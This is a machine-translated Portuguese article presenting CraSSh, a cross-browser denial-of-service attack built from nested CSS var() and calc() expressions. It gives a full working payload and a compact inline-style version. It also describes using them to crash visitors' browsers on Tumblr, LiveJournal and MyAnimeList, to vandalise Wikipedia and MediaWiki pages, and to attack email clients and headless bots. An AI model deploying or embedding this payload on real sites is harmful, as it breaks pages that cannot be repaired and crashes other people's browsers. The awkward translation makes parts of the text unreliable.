Autor do artigo: Konstantin SafonovNão quero ler esta conversa técnica. Meu navegador acabou de cair.O que é CraSSh
O CraSSh é um ataque DoS puramente declarativo entre navegadores, com base no manuseio inadequado das funções aninhadas CSS
var()
e
calc()
nos navegadores modernos.
O CraSSh funciona em todos os principais navegadores em computadores e dispositivos móveis:
- Mecanismo WebKit / Blink - Chrome, Opera, Safari e até Samsung Internet em TVs inteligentes e geladeiras.
- O Android WebView, o iOS UIWebView também são afetados, ou seja, você pode travar qualquer aplicativo com um navegador interno.
- No mecanismo Gecko - Firefox e seus garfos, como o Navegador Tor.
- O servo não foi iniciado em nenhuma das minhas máquinas, então não o testei.
- No mecanismo EdgeHTML - Edge no Windows, aplicativos WebView em UWP (alguém os usa?)
O navegador IE não é afetado, porque não suporta as funções nas quais o ataque se baseia, mas seus usuários têm muitos problemas próprios
(provavelmente esse navegador pode ser destruído de outras maneiras - aprox. Por.) .
Como isso funciona
A idéia do CraSSh é fazer com que o navegador calcule uma propriedade CSS com chamadas variáveis aninhadas em tempo exponencial e com grande uso de memória.
O ataque depende de três recursos de CSS:
Variáveis CSS ( propriedades customizadas e var () )Eles permitem que você declare: atribuir e ler variáveis:
.variables { --variable: 1px; height: var(--variable); }
Variáveis não permitem recursão (embora tenha havido um
bug no WebKit que causou recursão infinita) ou loops, mas elas podem ser definidas como
expressões calc ()As expressões calc () permitem executar algumas operações aritméticas básicas ao descrever as regras, por exemplo,
'width: calc(50% - 10px)'
.
calc()
permite referenciar variáveis e usar vários valores em uma única expressão:
.calc { --variable: 1px; height: calc(var(--variable) + var(--variable)); }
Isso torna possível:
- aumente linearmente os cálculos em cada expressão
calc()
adicionando referências a variáveis anteriores; - Aumente exponencialmente a complexidade com cada declaração de variável com uma expressão
calc()
que faça referência a outras variáveis calculadas:
.calc_multiple { --variable-level-0: 1px; --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); }
Parece que deve ser calculado ao longo de um tempo exponencial, mas os navegadores modernos são um pouco mais inteligentes; portanto, geralmente calculam os valores das variáveis uma vez, reduzindo a complexidade a linear. O truque é que o cache de valores variáveis não ocorre se tiver
significado heterogêneoTecnicamente, isso faz parte do
calc()
, mas merece menção especial. Uma variável heterogênea contém unidades absolutas e relativas. Ela não pode ser:
- calculado como um valor absoluto e compartilhado por várias aplicações para vários elementos, pois depende das propriedades do elemento de destino (unidades
'%'
/ 'em'
); - calculado como um valor absoluto em um aplicativo, porque, em alguns casos, isso levará ao acúmulo de erros de arredondamento, causando deslocamentos estranhos de subpixel que violam layouts complexos (você tem 12 colunas, cada 1/12 da largura da tela? Sem sorte, amigo, eles se unirão em uma nova linha ou deixe uma lacuna desajeitada no final).
Portanto, esse valor é recalculado toda vez:
.non_cached { --const: calc(50% + 10px); --variable: calc(var(--const) + var(--const)); width: var(--variable); }
Quanto ao segundo ponto, a maioria dos navegadores simplesmente incorpora variáveis aninhadas com um valor heterogêneo em uma única expressão para evitar erros de arredondamento:
.mixed { --mixed:calc(1% + 1px); --mixed-reference: calc(var(--mixed) + var(--mixed)); --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); --mixed-reference-computes-as: calc(2% + 2px); }
Imagine que existem milhões (ou bilhões) de elementos na expressão ... O mecanismo CSS está tentando alocar vários gigabytes de RAM, reduzir a expressão, adicionar manipuladores de eventos para que as propriedades possam ser contadas quando algo mudar. No final, isso acontece em um certo estágio.
Então, o CraSSh original parecia:
.crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); --level-2: calc(var(--level-1) + var(--level-1)); --level-3: calc(var(--level-2) + var(--level-2)); --level-4: calc(var(--level-3) + var(--level-3)); --level-5: calc(var(--level-4) + var(--level-4)); --level-6: calc(var(--level-5) + var(--level-5)); --level-7: calc(var(--level-6) + var(--level-6)); --level-8: calc(var(--level-7) + var(--level-7)); --level-9: calc(var(--level-8) + var(--level-8)); --level-10: calc(var(--level-9) + var(--level-9)); --level-11: calc(var(--level-10) + var(--level-10)); --level-12: calc(var(--level-11) + var(--level-11)); --level-13: calc(var(--level-12) + var(--level-12)); --level-14: calc(var(--level-13) + var(--level-13)); --level-15: calc(var(--level-14) + var(--level-14)); --level-16: calc(var(--level-15) + var(--level-15)); --level-17: calc(var(--level-16) + var(--level-16)); --level-18: calc(var(--level-17) + var(--level-17)); --level-19: calc(var(--level-18) + var(--level-18)); --level-20: calc(var(--level-19) + var(--level-19)); --level-21: calc(var(--level-20) + var(--level-20)); --level-22: calc(var(--level-21) + var(--level-21)); --level-23: calc(var(--level-22) + var(--level-22)); --level-24: calc(var(--level-23) + var(--level-23)); --level-25: calc(var(--level-24) + var(--level-24)); --level-26: calc(var(--level-25) + var(--level-25)); --level-27: calc(var(--level-26) + var(--level-26)); --level-28: calc(var(--level-27) + var(--level-27)); --level-29: calc(var(--level-28) + var(--level-28)); --level-30: calc(var(--level-29) + var(--level-29)); --level-final: calc(var(--level-30) + 1px); border-width: var(--level-final); border-style: solid; }
<div class="crassh"> , CSS CraSSh </div>
E aqui está a versão interna de menos de 1000 caracteres (MediaWiki para demonstração).
<div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div>
Como usá-lo
Além de afastar os usuários de seu próprio site ou blog em uma plataforma que oferece acesso total ao HTML, como Tumblr (
exemplo com uma falha no navegador ) ou LiveJournal (
exemplo com uma falha no navegador ), o CraSSh permite:
- Quebre a interface do usuário nas páginas do site que estão sob seu controle e permita definir CSS arbitrário, sem fornecer modelos HTML. Eu consegui quebrar o MyAnimeList ( exemplo com uma pane no navegador ). O Reddit não é afetado por este ataque porque seu analisador não suporta variáveis CSS.
- Esmague UIs em páginas graváveis públicas, acessíveis ao público, que permitem incorporar algumas tags HTML com estilos embutidos. Na Wikipedia, minha conta foi banida por vandalismo, embora eu tenha postado um exemplo com uma falha do navegador em minha página pessoal. O ataque afeta a maioria dos projetos baseados no MediaWiki. Em princípio, uma página quebrada não pode mais ser restaurada através da interface do usuário.
- Causar clientes de email habilitados para HTML
- Isso é bastante complicado, porque os clientes de email removem / reduzem o HTML e geralmente não suportam os recursos CSS modernos que o CraSSh usa.
- CraSSh trabalha em
- Samsung Mail para Android
- O CraSSh não funciona em
- Outlook (web)
- Gmail (web)
- Gmail (Android)
- Yahoo (web)
- Yandex (web)
- Protonmail (web)
- Zimbra (web, instalação offline)
- Windows Mail (Windows obviamente)
- Deve trabalhar em
- Outlook para Mac (usa internamente o Webkit)
- Outros não testaram.
- Acabei de ter a ideia doentia de que o CraSSh pode ser usado contra bots com base no CEF / PhantomJS. O site atacado pode injetar código CraSSh com cabeçalhos ( como aqui ) e não exibir o erro 403 habitual. IIRC, os erros são tratados de maneira diferente nos mecanismos incorporados, portanto
- isso provavelmente causará uma falha no bot (ninguém espera um estouro de pilha ou algo no navegador sem cabeça)
- é muito difícil depurar, pois nem aparece no corpo da resposta, que provavelmente irá para os logs
Por que isso é feito?
- Lembra-se do post de Linus?
Parece que o mundo da segurança de TI atingiu um novo patamar.
Se você trabalha em segurança e pensa que tem consciência, acho que pode escrever:
“Não, sério, eu não sou uma prostituta. Honestamente, honestamente ”
no seu cartão de visita. Eu costumava pensar que toda a indústria está podre, mas isso já está ficando ridículo.
Em que ponto as pessoas de segurança admitem que gostam de chamar a atenção para si mesmas?
Fui ainda mais longe e criei um site inteiro dedicado a um bug simples, porque o prazer de trabalhar até as quatro da manhã e a atenção aos resultados alcançados são as poucas coisas que me impedem de ficar deprimido e mergulhar nessa bonita calçada em frente ao escritório. - Além disso, eu odeio o frontend, que faz parte do meu trabalho como desenvolvedor fullstack, e essas coisas me ajudam a relaxar um pouco.
Coisas semelhantes
Agora estou participando de um projeto incrível, sobre o qual falaremos um pouco mais tarde. Siga-nos no
Twitter .
Agradecimentos especiais